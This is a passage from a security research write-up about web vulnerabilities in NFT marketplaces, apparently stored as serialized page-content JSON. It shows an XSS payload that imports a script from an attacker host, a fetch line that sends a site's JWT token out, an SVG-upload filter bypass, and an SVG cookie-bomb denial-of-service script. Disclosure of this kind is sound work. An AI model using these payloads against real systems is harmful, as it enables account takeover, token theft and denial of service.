onerror",{"type":23,"tag":41,"props":33477,"children":33478},{"style":64},[33479],{"type":28,"value":33470},{"type":23,"tag":41,"props":33481,"children":33482},{"style":735},[33483],{"type":28,"value":19471},{"type":23,"tag":41,"props":33485,"children":33486},{"style":64},[33487],{"type":28,"value":33488},"(`",{"type":23,"tag":41,"props":33490,"children":33491},{"style":735},[33492],{"type":28,"value":33493},"https",{"type":23,"tag":41,"props":33495,"children":33496},{"style":64},[33497],{"type":28,"value":33498},"://",{"type":23,"tag":41,"props":33500,"children":33501},{"style":735},[33502],{"type":28,"value":33503},"attacker-server",{"type":23,"tag":41,"props":33505,"children":33506},{"style":64},[33507],{"type":28,"value":33508},".",{"type":23,"tag":41,"props":33510,"children":33511},{"style":735},[33512],{"type":28,"value":33513},"com",{"type":23,"tag":41,"props":33515,"children":33516},{"style":64},[33517],{"type":28,"value":33461},{"type":23,"tag":41,"props":33519,"children":33520},{"style":735},[33521],{"type":28,"value":33522},"leak",{"type":23,"tag":41,"props":33524,"children":33525},{"style":64},[33526],{"type":28,"value":33508},{"type":23,"tag":41,"props":33528,"children":33529},{"style":735},[33530],{"type":28,"value":31359},{"type":23,"tag":41,"props":33532,"children":33533},{"style":64},[33534],{"type":28,"value":33535},"`)>","",{"type":23,"tag":41,"props":33537,"children":33538},{"style":735},[33539],{"type":28,"value":32721},{"type":23,"tag":41,"props":33541,"children":33542},{"style":64},[33543],{"type":28,"value":33544},"":"",{"type":23,"tag":41,"props":33546,"children":33547},{"style":735},[33548],{"type":28,"value":33549},"profile-assets",{"type":23,"tag":41,"props":33551,"children":33552},{"style":64},[33553],{"type":28,"value":33554},"","",{"type":23,"tag":41,"props":33556,"children":33557},{"style":735},[33558],{"type":28,"value":1669},{"type":23,"tag":41,"props":33560,"children":33561},{"style":64},[33562],{"type":28,"value":33544},{"type":23,"tag":41,"props":33564,"children":33565},{"style":735},[33566],{"type":28,"value":32758},{"type":23,"tag":41,"props":33568,"children":33569},{"style":64},[33570],{"type":28,"value":33571},""}",{"type":23,"tag":41,"props":33573,"children":33574},{"style":735},[33575],{"type":28,"value":20048},{"type":23,"tag":41,"props":33577,"children":33578},{"style":32370},[33579],{"type":28,"value":32772},{"type":23,"tag":41,"props":33581,"children":33582},{"class":43,"line":186},[33583,33587,33591,33595,33599,33603,33607,33611,33615],{"type":23,"tag":41,"props":33584,"children":33585},{"style":32370},[33586],{"type":28,"value":32582},{"type":23,"tag":41,"props":33588,"children":33589},{"style":64},[33590],{"type":28,"value":8366},{"type":23,"tag":41,"props":33592,"children":33593},{"style":858},[33594],{"type":28,"value":32534},{"type":23,"tag":41,"props":33596,"children":33597},{"style":170},[33598],{"type":28,"value":2381},{"type":23,"tag":41,"props":33600,"children":33601},{"style":735},[33602],{"type":28,"value":32796},{"type":23,"tag":41,"props":33604,"children":33605},{"style":858},[33606],{"type":28,"value":2595},{"type":23,"tag":41,"props":33608,"children":33609},{"style":170},[33610],{"type":28,"value":2381},{"type":23,"tag":41,"props":33612,"children":33613},{"style":735},[33614],{"type":28,"value":32809},{"type":23,"tag":41,"props":33616,"children":33617},{"style":32370},[33618],{"type":28,"value":32772},{"type":23,"tag":41,"props":33620,"children":33621},{"class":43,"line":195},[33622,33626,33630],{"type":23,"tag":41,"props":33623,"children":33624},{"style":32370},[33625],{"type":28,"value":32821},{"type":23,"tag":41,"props":33627,"children":33628},{"style":64},[33629],{"type":28,"value":32445},{"type":23,"tag":41,"props":33631,"children":33632},{"style":32370},[33633],{"type":28,"value":773},{"type":23,"tag":41,"props":33635,"children":33636},{"class":43,"line":905},[33637,33641,33645],{"type":23,"tag":41,"props":33638,"children":33639},{"style":32370},[33640],{"type":28,"value":32837},{"type":23,"tag":41,"props":33642,"children":33643},{"style":64},[33644],{"type":28,"value":32394},{"type":23,"tag":41,"props":33646,"children":33647},{"style":32370},[33648],{"type":28,"value":773},{"type":23,"tag":41,"props":33650,"children":33651},{"class":43,"line":922},[33652],{"type":23,"tag":41,"props":33653,"children":33654},{"emptyLinePlaceholder":18},[33655],{"type":28,"value":82},{"type":23,"tag":41,"props":33657,"children":33658},{"class":43,"line":930},[33659,33663,33667],{"type":23,"tag":41,"props":33660,"children":33661},{"style":32370},[33662],{"type":28,"value":32389},{"type":23,"tag":41,"props":33664,"children":33665},{"style":64},[33666],{"type":28,"value":32410},{"type":23,"tag":41,"props":33668,"children":33669},{"style":32370},[33670],{"type":28,"value":773},{"type":23,"tag":41,"props":33672,"children":33673},{"class":43,"line":939},[33674],{"type":23,"tag":41,"props":33675,"children":33676},{"emptyLinePlaceholder":18},[33677],{"type":28,"value":82},{"type":23,"tag":41,"props":33679,"children":33680},{"class":43,"line":947},[33681,33685],{"type":23,"tag":41,"props":33682,"children":33683},{"style":70},[33684],{"type":28,"value":32882},{"type":23,"tag":41,"props":33686,"children":33687},{"style":64},[33688],{"type":28,"value":1559},{"type":23,"tag":41,"props":33690,"children":33691},{"class":43,"line":985},[33692,33696,33700,33704,33708,33712,33716,33720,33724,33728,33732,33736],{"type":23,"tag":41,"props":33693,"children":33694},{"style":858},[33695],{"type":28,"value":32894},{"type":23,"tag":41,"props":33697,"children":33698},{"style":858},[33699],{"type":28,"value":32899},{"type":23,"tag":41,"props":33701,"children":33702},{"style":170},[33703],{"type":28,"value":32904},{"type":23,"tag":41,"props":33705,"children":33706},{"style":58},[33707],{"type":28,"value":32909},{"type":23,"tag":41,"props":33709,"children":33710},{"style":170},[33711],{"type":28,"value":142},{"type":23,"tag":41,"props":33713,"children":33714},{"style":58},[33715],{"type":28,"value":32909},{"type":23,"tag":41,"props":33717,"children":33718},{"style":114},[33719],{"type":28,"value":32922},{"type":23,"tag":41,"props":33721,"children":33722},{"style":170},[33723],{"type":28,"value":1737},{"type":23,"tag":41,"props":33725,"children":33726},{"style":735},[33727],{"type":28,"value":32931},{"type":23,"tag":41,"props":33729,"children":33730},{"style":170},[33731],{"type":28,"value":32936},{"type":23,"tag":41,"props":33733,"children":33734},{"style":114},[33735],{"type":28,"value":32941},{"type":23,"tag":41,"props":33737,"children":33738},{"style":170},[33739],{"type":28,"value":7735},{"type":23,"tag":41,"props":33741,"children":33742},{"class":43,"line":1058},[33743],{"type":23,"tag":41,"props":33744,"children":33745},{"emptyLinePlaceholder":18},[33746],{"type":28,"value":82},{"type":23,"tag":41,"props":33748,"children":33749},{"class":43,"line":1084},[33750,33754,33758,33762,33766,33770,33774,33778,33782,33786,33790,33794,33798],{"type":23,"tag":41,"props":33751,"children":33752},{"style":858},[33753],{"type":28,"value":3066},{"type":23,"tag":41,"props":33755,"children":33756},{"style":858},[33757],{"type":28,"value":32964},{"type":23,"tag":41,"props":33759,"children":33760},{"style":170},[33761],{"type":28,"value":32904},{"type":23,"tag":41,"props":33763,"children":33764},{"style":64},[33765],{"type":28,"value":15114},{"type":23,"tag":41,"props":33767,"children":33768},{"style":114},[33769],{"type":28,"value":32977},{"type":23,"tag":41,"props":33771,"children":33772},{"style":170},[33773],{"type":28,"value":32982},{"type":23,"tag":41,"props":33775,"children":33776},{"style":858},[33777],{"type":28,"value":32941},{"type":23,"tag":41,"props":33779,"children":33780},{"style":170},[33781],{"type":28,"value":23047},{"type":23,"tag":41,"props":33783,"children":33784},{"style":735},[33785],{"type":28,"value":32995},{"type":23,"tag":41,"props":33787,"children":33788},{"style":170},[33789],{"type":28,"value":33000},{"type":23,"tag":41,"props":33791,"children":33792},{"style":858},[33793],{"type":28,"value":33005},{"type":23,"tag":41,"props":33795,"children":33796},{"style":735},[33797],{"type":28,"value":33010},{"type":23,"tag":41,"props":33799,"children":33800},{"style":170},[33801],{"type":28,"value":33015},{"type":23,"tag":41,"props":33803,"children":33804},{"class":43,"line":1102},[33805,33809,33813,33817,33821,33825],{"type":23,"tag":41,"props":33806,"children":33807},{"style":858},[33808],{"type":28,"value":32894},{"type":23,"tag":41,"props":33810,"children":33811},{"style":858},[33812],{"type":28,"value":33027},{"type":23,"tag":41,"props":33814,"children":33815},{"style":170},[33816],{"type":28,"value":32904},{"type":23,"tag":41,"props":33818,"children":33819},{"style":64},[33820],{"type":28,"value":15114},{"type":23,"tag":41,"props":33822,"children":33823},{"style":114},[33824],{"type":28,"value":33040},{"type":23,"tag":41,"props":33826,"children":33827},{"style":170},[33828],{"type":28,"value":3669},{"type":23,"tag":41,"props":33830,"children":33831},{"class":43,"line":1110},[33832,33836,33840,33844,33848,33852,33856,33860],{"type":23,"tag":41,"props":33833,"children":33834},{"style":858},[33835],{"type":28,"value":33052},{"type":23,"tag":41,"props":33837,"children":33838},{"style":170},[33839],{"type":28,"value":706},{"type":23,"tag":41,"props":33841,"children":33842},{"style":858},[33843],{"type":28,"value":33061},{"type":23,"tag":41,"props":33845,"children":33846},{"style":170},[33847],{"type":28,"value":706},{"type":23,"tag":41,"props":33849,"children":33850},{"style":114},[33851],{"type":28,"value":9636},{"type":23,"tag":41,"props":33853,"children":33854},{"style":170},[33855],{"type":28,"value":1737},{"type":23,"tag":41,"props":33857,"children":33858},{"style":858},[33859],{"type":28,"value":33078},{"type":23,"tag":41,"props":33861,"children":33862},{"style":170},[33863],{"type":28,"value":3825},{"type":23,"tag":41,"props":33865,"children":33866},{"class":43,"line":1118},[33867],{"type":23,"tag":41,"props":33868,"children":33869},{"emptyLinePlaceholder":18},[33870],{"type":28,"value":82},{"type":23,"tag":41,"props":33872,"children":33873},{"class":43,"line":1137},[33874,33878,33882,33886,33890,33894,33898,33902],{"type":23,"tag":41,"props":33875,"children":33876},{"style":858},[33877],{"type":28,"value":33097},{"type":23,"tag":41,"props":33879,"children":33880},{"style":170},[33881],{"type":28,"value":706},{"type":23,"tag":41,"props":33883,"children":33884},{"style":858},[33885],{"type":28,"value":33106},{"type":23,"tag":41,"props":33887,"children":33888},{"style":170},[33889],{"type":28,"value":32904},{"type":23,"tag":41,"props":33891,"children":33892},{"style":858},[33893],{"type":28,"value":33115},{"type":23,"tag":41,"props":33895,"children":33896},{"style":170},[33897],{"type":28,"value":706},{"type":23,"tag":41,"props":33899,"children":33900},{"style":858},[33901],{"type":28,"value":33106},{"type":23,"tag":41,"props":33903,"children":33904},{"style":170},[33905],{"type":28,"value":183},{"type":23,"tag":41,"props":33907,"children":33908},{"class":43,"line":1163},[33909],{"type":23,"tag":41,"props":33910,"children":33911},{"emptyLinePlaceholder":18},[33912],{"type":28,"value":82},{"type":23,"tag":41,"props":33914,"children":33915},{"class":43,"line":1188},[33916,33921,33925,33930],{"type":23,"tag":41,"props":33917,"children":33918},{"style":858},[33919],{"type":28,"value":33920},"        form123",{"type":23,"tag":41,"props":33922,"children":33923},{"style":170},[33924],{"type":28,"value":706},{"type":23,"tag":41,"props":33926,"children":33927},{"style":114},[33928],{"type":28,"value":33929},"submit",{"type":23,"tag":41,"props":33931,"children":33932},{"style":170},[33933],{"type":28,"value":7735},{"type":23,"tag":41,"props":33935,"children":33936},{"class":43,"line":1979},[33937,33941],{"type":23,"tag":41,"props":33938,"children":33939},{"style":64},[33940],{"type":28,"value":33135},{"type":23,"tag":41,"props":33942,"children":33943},{"style":70},[33944],{"type":28,"value":33140},{"type":23,"tag":41,"props":33946,"children":33947},{"class":43,"line":2002},[33948],{"type":23,"tag":41,"props":33949,"children":33950},{"emptyLinePlaceholder":18},[33951],{"type":28,"value":82},{"type":23,"tag":41,"props":33953,"children":33954},{"class":43,"line":3835},[33955,33959,33963],{"type":23,"tag":41,"props":33956,"children":33957},{"style":32370},[33958],{"type":28,"value":32837},{"type":23,"tag":41,"props":33960,"children":33961},{"style":64},[33962],{"type":28,"value":32410},{"type":23,"tag":41,"props":33964,"children":33965},{"style":32370},[33966],{"type":28,"value":773},{"type":23,"tag":41,"props":33968,"children":33969},{"class":43,"line":3895},[33970,33974,33978],{"type":23,"tag":41,"props":33971,"children":33972},{"style":32370},[33973],{"type":28,"value":32424},{"type":23,"tag":41,"props":33975,"children":33976},{"style":64},[33977],{"type":28,"value":32377},{"type":23,"tag":41,"props":33979,"children":33980},{"style":32370},[33981],{"type":28,"value":773},{"type":23,"tag":24,"props":33983,"children":33984},{},[33985],{"type":28,"value":33986},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":23,"tag":31,"props":33988,"children":33992},{"className":33989,"code":33990,"language":33991,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n  \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n  \"to\": \"profile-assets\",\n  \"type\": \"icon\"\n}\n","json",[33993],{"type":23,"tag":37,"props":33994,"children":33995},{"__ignoreMap":7},[33996,34003,34024,34045,34062],{"type":23,"tag":41,"props":33997,"children":33998},{"class":43,"line":44},[33999],{"type":23,"tag":41,"props":34000,"children":34001},{"style":70},[34002],{"type":28,"value":1559},{"type":23,"tag":41,"props":34004,"children":34005},{"class":43,"line":54},[34006,34011,34015,34020],{"type":23,"tag":41,"props":34007,"children":34008},{"style":858},[34009],{"type":28,"value":34010},"  \"address\"",{"type":23,"tag":41,"props":34012,"children":34013},{"style":70},[34014],{"type":28,"value":1418},{"type":23,"tag":41,"props":34016,"children":34017},{"style":735},[34018],{"type":28,"value":34019},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":23,"tag":41,"props":34021,"children":34022},{"style":70},[34023],{"type":28,"value":3506},{"type":23,"tag":41,"props":34025,"children":34026},{"class":43,"line":76},[34027,34032,34036,34041],{"type":23,"tag":41,"props":34028,"children":34029},{"style":858},[34030],{"type":28,"value":34031},"  \"to\"",{"type":23,"tag":41,"props":34033,"children":34034},{"style":70},[34035],{"type":28,"value":1418},{"type":23,"tag":41,"props":34037,"children":34038},{"style":735},[34039],{"type":28,"value":34040},"\"profile-assets\"",{"type":23,"tag":41,"props":34042,"children":34043},{"style":70},[34044],{"type":28,"value":3506},{"type":23,"tag":41,"props":34046,"children":34047},{"class":43,"line":85},[34048,34053,34057],{"type":23,"tag":41,"props":34049,"children":34050},{"style":858},[34051],{"type":28,"value":34052},"  \"type\"",{"type":23,"tag":41,"props":34054,"children":34055},{"style":70},[34056],{"type":28,"value":1418},{"type":23,"tag":41,"props":34058,"children":34059},{"style":735},[34060],{"type":28,"value":34061},"\"icon\"\n",{"type":23,"tag":41,"props":34063,"children":34064},{"class":43,"line":105},[34065],{"type":23,"tag":41,"props":34066,"children":34067},{"style":70},[34068],{"type":28,"value":201},{"type":23,"tag":24,"props":34070,"children":34071},{},[34072],{"type":28,"value":34073},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":23,"tag":31,"props":34075,"children":34077},{"className":31357,"code":34076,"language":31359,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[34078],{"type":23,"tag":37,"props":34079,"children":34080},{"__ignoreMap":7},[34081],{"type":23,"tag":41,"props":34082,"children":34083},{"class":43,"line":44},[34084,34089,34093,34098,34103,34108,34112,34117,34121,34126,34130,34135,34139],{"type":23,"tag":41,"props":34085,"children":34086},{"style":114},[34087],{"type":28,"value":34088},"fetch",{"type":23,"tag":41,"props":34090,"children":34091},{"style":70},[34092],{"type":28,"value":1737},{"type":23,"tag":41,"props":34094,"children":34095},{"style":735},[34096],{"type":28,"value":34097},"`https://attacker-server.com/?token_leak=",{"type":23,"tag":41,"props":34099,"children":34100},{"style":64},[34101],{"type":28,"value":34102},"${",{"type":23,"tag":41,"props":34104,"children":34105},{"style":858},[34106],{"type":28,"value":34107},"localStorage",{"type":23,"tag":41,"props":34109,"children":34110},{"style":170},[34111],{"type":28,"value":706},{"type":23,"tag":41,"props":34113,"children":34114},{"style":114},[34115],{"type":28,"value":34116},"getItem",{"type":23,"tag":41,"props":34118,"children":34119},{"style":170},[34120],{"type":28,"value":1737},{"type":23,"tag":41,"props":34122,"children":34123},{"style":735},[34124],{"type":28,"value":34125},"'token'",{"type":23,"tag":41,"props":34127,"children":34128},{"style":170},[34129],{"type":28,"value":2678},{"type":23,"tag":41,"props":34131,"children":34132},{"style":64},[34133],{"type":28,"value":34134},"}",{"type":23,"tag":41,"props":34136,"children":34137},{"style":735},[34138],{"type":28,"value":10380},{"type":23,"tag":41,"props":34140,"children":34141},{"style":70},[34142],{"type":28,"value":3825},{"type":23,"tag":546,"props":34144,"children":34146},{"id":34145},"svgs",[34147],{"type":28,"value":34148},"SVGs",{"type":23,"tag":24,"props":34150,"children":34151},{},[34152],{"type":28,"value":34153},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":23,"tag":24,"props":34155,"children":34156},{},[34157],{"type":28,"value":34158},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":23,"tag":31,"props":34160,"children":34162},{"className":31357,"code":34161,"language":31359,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   alert(document.domain);\n   \u003C/script>\n \u003C/svg>\n",[34163],{"type":23,"tag":37,"props":34164,"children":34165},{"__ignoreMap":7},[34166,34212,34249,34256,34286,34318,34346,34354,34370],{"type":23,"tag":41,"props":34167,"children":34168},{"class":43,"line":44},[34169,34174,34179,34184,34188,34193,34198,34202,34207],{"type":23,"tag":41,"props":34170,"children":34171},{"style":170},[34172],{"type":28,"value":34173},"\u003C?",{"type":23,"tag":41,"props":34175,"children":34176},{"style":858},[34177],{"type":28,"value":34178},"xml",{"type":23,"tag":41,"props":34180,"children":34181},{"style":858},[34182],{"type":28,"value":34183}," version",{"type":23,"tag":41,"props":34185,"children":34186},{"style":170},[34187],{"type":28,"value":2381},{"type":23,"tag":41,"props":34189,"children":34190},{"style":735},[34191],{"type":28,"value":34192},"\"1.0\"",{"type":23,"tag":41,"props":34194,"children":34195},{"style":858},[34196],{"type":28,"value":34197}," encoding",{"type":23,"tag":41,"props":34199,"children":34200},{"style":170},[34201],{"type":28,"value":2381},{"type":23,"tag":41,"props":34203,"children":34204},{"style":735},[34205],{"type":28,"value":34206},"\"UTF-8\"",{"type":23,"tag":41,"props":34208,"children":34209},{"style":170},[34210],{"type":28,"value":34211},"?>\n",{"type":23,"tag":41,"props":34213,"children":34214},{"class":43,"line":54},[34215,34220,34225,34230,34235,34240,34245],{"type":23,"tag":41,"props":34216,"children":34217},{"style":170},[34218],{"type":28,"value":34219},"\u003C!",{"type":23,"tag":41,"props":34221,"children":34222},{"style":858},[34223],{"type":28,"value":34224},"DOCTYPE",{"type":23,"tag":41,"props":34226,"children":34227},{"style":858},[34228],{"type":28,"value":34229}," svg",{"type":23,"tag":41,"props":34231,"children":34232},{"style":858},[34233],{"type":28,"value":34234}," PUBLIC",{"type":23,"tag":41,"props":34236,"children":34237},{"style":735},[34238],{"type":28,"value":34239}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":23,"tag":41,"props":34241,"children":34242},{"style":735},[34243],{"type":28,"value":34244}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":23,"tag":41,"props":34246,"children":34247},{"style":170},[34248],{"type":28,"value":773},{"type":23,"tag":41,"props":34250,"children":34251},{"class":43,"line":76},[34252],{"type":23,"tag":41,"props":34253,"children":34254},{"emptyLinePlaceholder":18},[34255],{"type":28,"value":82},{"type":23,"tag":41,"props":34257,"children":34258},{"class":43,"line":85},[34259,34263,34268,34273,34277,34282],{"type":23,"tag":41,"props":34260,"children":34261},{"style":32370},[34262],{"type":28,"value":758},{"type":23,"tag":41,"props":34264,"children":34265},{"style":64},[34266],{"type":28,"value":34267},"svg",{"type":23,"tag":41,"props":34269,"children":34270},{"style":858},[34271],{"type":28,"value":34272}," xmlns",{"type":23,"tag":41,"props":34274,"children":34275},{"style":170},[34276],{"type":28,"value":2381},{"type":23,"tag":41,"props":34278,"children":34279},{"style":735},[34280],{"type":28,"value":34281},"\"http://www.w3.org/2000/svg\"",{"type":23,"tag":41,"props":34283,"children":34284},{"style":32370},[34285],{"type":28,"value":773},{"type":23,"tag":41,"props":34287,"children":34288},{"class":43,"line":105},[34289,34293,34298,34302,34306,34310,34314],{"type":23,"tag":41,"props":34290,"children":34291},{"style":32370},[34292],{"type":28,"value":32389},{"type":23,"tag":41,"props":34294,"children":34295},{"style":64},[34296],{"type":28,"value":34297},"title",{"type":23,"tag":41,"props":34299,"children":34300},{"style":32370},[34301],{"type":28,"value":1022},{"type":23,"tag":41,"props":34303,"children":34304},{"style":70},[34305],{"type":28,"value":31231},{"type":23,"tag":41,"props":34307,"children":34308},{"style":32370},[34309],{"type":28,"value":32424},{"type":23,"tag":41,"props":34311,"children":34312},{"style":64},[34313],{"type":28,"value":34297},{"type":23,"tag":41,"props":34315,"children":34316},{"style":32370},[34317],{"type":28,"value":773},{"type":23,"tag":41,"props":34319,"children":34320},{"class":43,"line":155},[34321,34325,34329,34333,34337,34342],{"type":23,"tag":41,"props":34322,"children":34323},{"style":32370},[34324],{"type":28,"value":32389},{"type":23,"tag":41,"props":34326,"children":34327},{"style":64},[34328],{"type":28,"value":32410},{"type":23,"tag":41,"props":34330,"children":34331},{"style":858},[34332],{"type":28,"value":32534},{"type":23,"tag":41,"props":34334,"children":34335},{"style":170},[34336],{"type":28,"value":2381},{"type":23,"tag":41,"props":34338,"children":34339},{"style":735},[34340],{"type":28,"value":34341},"\"text/javascript\"",{"type":23,"tag":41,"props":34343,"children":34344},{"style":32370},[34345],{"type":28,"value":773},{"type":23,"tag":41,"props":34347,"children":34348},{"class":43,"line":186},[34349],{"type":23,"tag":41,"props":34350,"children":34351},{"style":70},[34352],{"type":28,"value":34353},"   alert(document.domain);\n",{"type":23,"tag":41,"props":34355,"children":34356},{"class":43,"line":195},[34357,34362,34366],{"type":23,"tag":41,"props":34358,"children":34359},{"style":32370},[34360],{"type":28,"value":34361},"   \u003C/",{"type":23,"tag":41,"props":34363,"children":34364},{"style":64},[34365],{"type":28,"value":32410},{"type":23,"tag":41,"props":34367,"children":34368},{"style":32370},[34369],{"type":28,"value":773},{"type":23,"tag":41,"props":34371,"children":34372},{"class":43,"line":905},[34373,34378,34382],{"type":23,"tag":41,"props":34374,"children":34375},{"style":32370},[34376],{"type":28,"value":34377}," \u003C/",{"type":23,"tag":41,"props":34379,"children":34380},{"style":64},[34381],{"type":28,"value":34267},{"type":23,"tag":41,"props":34383,"children":34384},{"style":32370},[34385],{"type":28,"value":773},{"type":23,"tag":24,"props":34387,"children":34388},{},[34389,34391,34398],{"type":28,"value":34390},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":23,"tag":458,"props":34392,"children":34395},{"href":34393,"rel":34394},"https://xtingles.com/",[462],[34396],{"type":28,"value":34397},"xtingles Marketplace",{"type":28,"value":706},{"type":23,"tag":24,"props":34400,"children":34401},{},[34402],{"type":28,"value":34403},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":23,"tag":24,"props":34405,"children":34406},{},[34407],{"type":28,"value":34408},"Below, we show you how we did it.",{"type":23,"tag":24,"props":34410,"children":34411},{},[34412],{"type":28,"value":34413},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":23,"tag":24,"props":34415,"children":34416},{},[34417],{"type":23,"tag":3918,"props":34418,"children":34420},{"alt":7,"src":34419},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":23,"tag":24,"props":34422,"children":34423},{},[34424],{"type":28,"value":34425},"After changing the extension inside the file name.",{"type":23,"tag":24,"props":34427,"children":34428},{},[34429],{"type":23,"tag":3918,"props":34430,"children":34432},{"alt":7,"src":34431},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":23,"tag":546,"props":34434,"children":34436},{"id":34435},"svgs-return",[34437],{"type":28,"value":34438},"SVGs Return",{"type":23,"tag":24,"props":34440,"children":34441},{},[34442],{"type":28,"value":34443},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":23,"tag":24,"props":34445,"children":34446},{},[34447],{"type":28,"value":34448},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":23,"tag":24,"props":34450,"children":34451},{},[34452],{"type":28,"value":34453},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":23,"tag":31,"props":34455,"children":34459},{"className":34456,"code":34457,"language":34458,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n   var Set_Cookie = Array(10000).join('a');\n\n   for (var i = 1; i \u003C 99; i++) {\n    document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n   }\n   \u003C/script>\n \u003C/svg>\n","jsx",[34460],{"type":23,"tag":37,"props":34461,"children":34462},{"__ignoreMap":7},[34463,34502,34533,34540,34567,34598,34625,34633,34641,34648,34660,34735,34743,34758],{"type":23,"tag":41,"props":34464,"children":34465},{"class":43,"line":44},[34466,34470,34474,34478,34482,34486,34490,34494,34498],{"type":23,"tag":41,"props":34467,"children":34468},{"style":170},[34469],{"type":28,"value":34173},{"type":23,"tag":41,"props":34471,"children":34472},{"style":858},[34473],{"type":28,"value":34178},{"type":23,"tag":41,"props":34475,"children":34476},{"style":858},[34477],{"type":28,"value":34183},{"type":23,"tag":41,"props":34479,"children":34480},{"style":170},[34481],{"type":28,"value":2381},{"type":23,"tag":41,"props":34483,"children":34484},{"style":735},[34485],{"type":28,"value":34192},{"type":23,"tag":41,"props":34487,"children":34488},{"style":858},[34489],{"type":28,"value":34197},{"type":23,"tag":41,"props":34491,"children":34492},{"style":170},[34493],{"type":28,"value":2381},{"type":23,"tag":41,"props":34495,"children":34496},{"style":735},[34497],{"type":28,"value":34206},{"type":23,"tag":41,"props":34499,"children":34500},{"style":170},[34501],{"type":28,"value":34211},{"type":23,"tag":41,"props":34503,"children":34504},{"class":43,"line":54},[34505,34509,34513,34517,34521,34525,34529],{"type":23,"tag":41,"props":34506,"children":34507},{"style":170},[34508],{"type":28,"value":34219},{"type":23,"tag":41,"props":34510,"children":34511},{"style":858},[34512],{"type":28,"value":34224},{"type":23,"tag":41,"props":34514,"children":34515},{"style":858},[34516],{"type":28,"value":34229},{"type":23,"tag":41,"props":34518,"children":34519},{"style":858},[34520],{"type":28,"value":34234},{"type":23,"tag":41,"props":34522,"children":34523},{"style":735},[34524],{"type":28,"value":34239},{"type":23,"tag":41,"props":34526,"children":34527},{"style":735},[34528],{"type":28,"value":34244},{"type":23,"tag":41,"props":34530,"children":34531},{"style":170},[34532],{"type":28,"value":773},{"type":23,"tag":41,"props":34534,"children":34535},{"class":43,"line":76},[34536],{"type":23,"tag":41,"props":34537,"children":34538},{"emptyLinePlaceholder":18},[34539],{"type":28,"value":82},{"type":23,"tag":41,"props":34541,"children":34542},{"class":43,"line":85},[34543,34547,34551,34555,34559,34563],{"type":23,"tag":41,"props":34544,"children":34545},{"style":32370},[34546],{"type":28,"value":758},{"type":23,"tag":41,"props":34548,"children":34549},{"style":64},[34550],{"type":28,"value":34267},{"type":23,"tag":41,"props":34552,"children":34553},{"style":858},[34554],{"type":28,"value":34272},{"type":23,"tag":41,"props":34556,"children":34557},{"style":170},[34558],{"type":28,"value":2381},{"type":23,"tag":41,"props":34560,"children":34561},{"style":735},[34562],{"type":28,"value":34281},{"type":23,"tag":41,"props":34564,"children":34565},{"style":32370},[34566],{"type":28,"value":773},{"type":23,"tag":41,"props":34568,"children":34569},{"class":43,"line":105},[34570,34574,34578,34582,34586,34590,34594],{"type":23,"tag":41,"props":34571,"children":34572},{"style":32370},[34573],{"type":28,"value":32389},{"type":23,"tag":41,"props":34575,"children":34576},{"style":64},[34577],{"type":28,"value":34297},{"type":23,"tag":41,"props":34579,"children":34580},{"style":32370},[34581],{"type":28,"value":1022},{"type":23,"tag":41,"props":34583,"children":34584},{"style":70},[34585],{"type":28,"value":31231},{"type":23,"tag":41,"props":34587,"children":34588},{"style":32370},[34589],{"type":28,"value":32424},{"type":23,"tag":41,"props":34591,"children":34592},{"style":64},[34593],{"type":28,"value":34297},{"type":23,"tag":41,"props":34595,"children":34596},{"style":32370},[34597],{"type":28,"value":773},{"type":23,"tag":41,"props":34599,"children":34600},{"class":43,"line":155},[34601,34605,34609,34613,34617,34621],{"type":23,"tag":41,"props":34602,"children":34603},{"style":32370},[34604],{"type":28,"value":32389},{"type":23,"tag":41,"props":34606,"children":34607},{"style":64},[34608],{"type":28,"value":32410},{"type":23,"tag":41,"props":34610,"children":34611},{"style":858},[34612],{"type":28,"value":32534},{"type":23,"tag":41,"props":34614,"children":34615},{"style":170},[34616],{"type":28,"value":2381},{"type":23,"tag":41,"props":34618,"children":34619},{"style":735},[34620],{"type":28,"value":34341},{"type":23,"tag":41,"props":34622,"children":34623},{"style":32370},[34624],{"type":28,"value":773},{"type":23,"tag":41,"props":34626,"children":34627},{"class